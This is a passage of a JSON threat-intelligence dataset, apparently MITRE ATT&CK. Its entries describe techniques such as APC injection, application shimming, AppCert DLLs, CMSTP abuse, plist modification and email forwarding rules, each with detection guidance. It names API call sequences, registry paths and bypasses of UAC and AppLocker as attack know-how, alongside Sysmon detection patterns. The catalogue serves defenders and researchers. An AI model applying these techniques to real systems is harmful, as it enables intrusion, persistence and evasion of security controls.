Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:23:46.476Z","name":"Asynchronous Procedure Call","description":"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Application control","Anti-virus"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","created":"2020-10-19T13:40:11.118Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1020.001","url":"https://attack.mitre.org/techniques/T1020/001"},{"source_name":"Cisco Traffic Mirroring","url":"https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html","description":"Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020."},{"source_name":"Juniper Traffic Mirroring","url":"https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html","description":"Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/117.html","source_name":"capec","external_id":"CAPEC-117"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure.  Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.","modified":"2022-04-18T22:16:51.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Traffic Duplication","x_mitre_detection":"Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals).  Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1138","url":"https://attack.mitre.org/techniques/T1138"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf","description":"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.","source_name":"Black Hat 2015 App Shim"}],"modified":"2020-11-10T18:29:30.362Z","name":"Application Shimming","description":"The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","created":"2022-04-09T15:06:32.458Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1647","url":"https://attack.mitre.org/techniques/T1647"},{"source_name":"eset_osx_flashback","url":"https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf","description":"ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022."},{"source_name":"fileinfo plist file description","url":"https://fileinfo.com/extension/plist","description":"FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."},{"source_name":"wardle chp2 persistence","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)","modified":"2022-04-20T22:00:33.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist File Modification","x_mitre_detection":"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>\\~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>\\~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Modification","Process: Process Creation","Command: Command Execution","Service: Service Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","type":"attack-pattern","created":"2020-01-24T14:47:41.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.009","url":"https://attack.mitre.org/techniques/T1546/009"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://forum.sysinternals.com/appcertdlls_topic12546.html","description":"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.","source_name":"Sysinternals AppCertDlls Oct 2007"}],"modified":"2020-11-10T18:29:31.052Z","name":"AppCert DLLs","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Nik Seetharaman, Palantir"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1191","url":"https://attack.mitre.org/techniques/T1191"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)","description":"Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.","source_name":"Microsoft Connection Manager Oct 2009"},{"source_name":"Twitter CMSTP Usage Jan 2018","description":"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.","url":"https://twitter.com/ItsReallyNick/status/958789644165894146"},{"url":"https://msitpros.com/?p=3960","description":"Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.","source_name":"MSitPros CMSTP Aug 2017"},{"url":"https://twitter.com/NickTyrer/status/958450014111633408","description":"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.","source_name":"Twitter CMSTP Jan 2018"},{"url":"https://github.com/api0cradle/UltimateAppLockerByPassList","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.","source_name":"GitHub Ultimate AppLocker Bypass List"},{"source_name":"Endurant CMSTP July 2018","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.","url":"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}],"modified":"2020-01-31T18:58:17.078Z","name":"CMSTP","description":"The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1188","external_id":"T1188"}],"modified":"2020-03-14T23:25:20.928Z","name":"Multi-hop Proxy","description":"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Office 365","Windows","Google Workspace","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Security","Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","type":"attack-pattern","created":"2020-02-19T18:54:47.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1114.003","url":"https://attack.mitre.org/techniques/T1114/003"},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."},{"source_name":"Pfammatter - Hidden Inbox Rules","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."},{"description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/","source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2"},{"source_name":"Mac Forwarding Rules","url":"https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac","description":"Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021."}],"modified":"2021-10-15T20:19:33.416Z","name":"Email Forwarding Rule","description":"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian","Shane Tully, @securitygypsy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","type":"attack-pattern","created":"2017-05-31T21:30:58.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1074","url":"https://attack.mitre.org/techniques/T1074"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}],"modified":"2022-01-10T22:19:56.116Z","name":"Data Staged","description":"Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution","Windows Registry: Windows Registry Key Modification","File: File Creation"]},{"x_mitre_platforms":["Azure AD","Windows","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pawel Partyka, Microsoft 365 Defender"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","created":"2022-03-04T18:30:38.989Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1098.005","url":"https://attack.mitre.org/techniques/T1098/005"},{"source_name":"CISA MFA PrintNightmare","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a","description":"Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022."},{"source_name":"AADInternals - Conditional Access Bypass","url":"https://o365blog.com/post/mdm","description":"Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022."},{"source_name":"AADInternals - BPRT","url":"https://o365blog.com/post/bprt/","description":"Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022."},{"source_name":"AADInternals - Device Registration","url":"https://o365blog.com/post/devices/","description":"Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022."},{"source_name":"DarkReading FireEye 